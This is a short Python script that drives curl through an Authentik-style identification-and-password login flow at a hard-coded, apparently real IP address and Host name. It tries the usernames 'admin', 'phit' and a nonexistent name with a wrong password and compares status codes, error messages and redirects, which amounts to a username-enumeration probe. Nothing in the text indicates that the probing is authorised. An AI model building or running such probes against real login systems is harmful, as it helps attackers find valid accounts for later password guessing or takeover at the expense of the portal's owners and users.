import json, subprocess, os, time
BASE = "https://112.199.81.2:37443/api/v3/flows/executor/default-authentication-flow/"
HOST = "www.itportal.cc"
def curl(cj, args, out="/dev/null", hdrs=[]):
    cmd = ["curl","-sk","-m","15","-H",f"Host: {HOST}"]
    for h in hdrs: cmd += ["-H", h]
    if cj: cmd += ["-c",cj,"-b",cj]
    cmd += args
    return subprocess.run(cmd, capture_output=True, text=True)

def flow(user, pwd):
    cj = f"/tmp/cj_{os.getpid()}_{int(time.time()*1000)}.txt"
    curl(cj, [BASE,"-o","/dev/null"])
    curl(cj, [BASE,"-X","POST","-H","Content-Type: application/json","-d",json.dumps({"component":"ak-stage-identification","uid_field":user}),"-o","/dev/null"])
    curl(cj, [BASE,"-o","/dev/null"])
    r = curl(cj, [BASE,"-X","POST","-H","Content-Type: application/json","-d",json.dumps({"component":"ak-stage-password","password":pwd}),"-o","/tmp/resp.json","-w","%{http_code}","-D","/tmp/hdr.txt"])
    os.remove(cj) if os.path.exists(cj) else None
    try: resp = json.load(open("/tmp/resp.json"))
    except: resp = {}
    loc = [l.strip() for l in open("/tmp/hdr.txt").read().splitlines() if l.lower().startswith("location:")]
    return r.stdout, resp.get("component"), resp.get("response_errors"), resp.get("error_message"), loc

for u in ["admin", "phit", "nonexistent_zzz"]:
    s,c,e,em,loc = flow(u, "definitely_wrong_pw_123")
    print(f"user={u} status={s} comp={c} err={e} errmsg={em} loc={loc}")
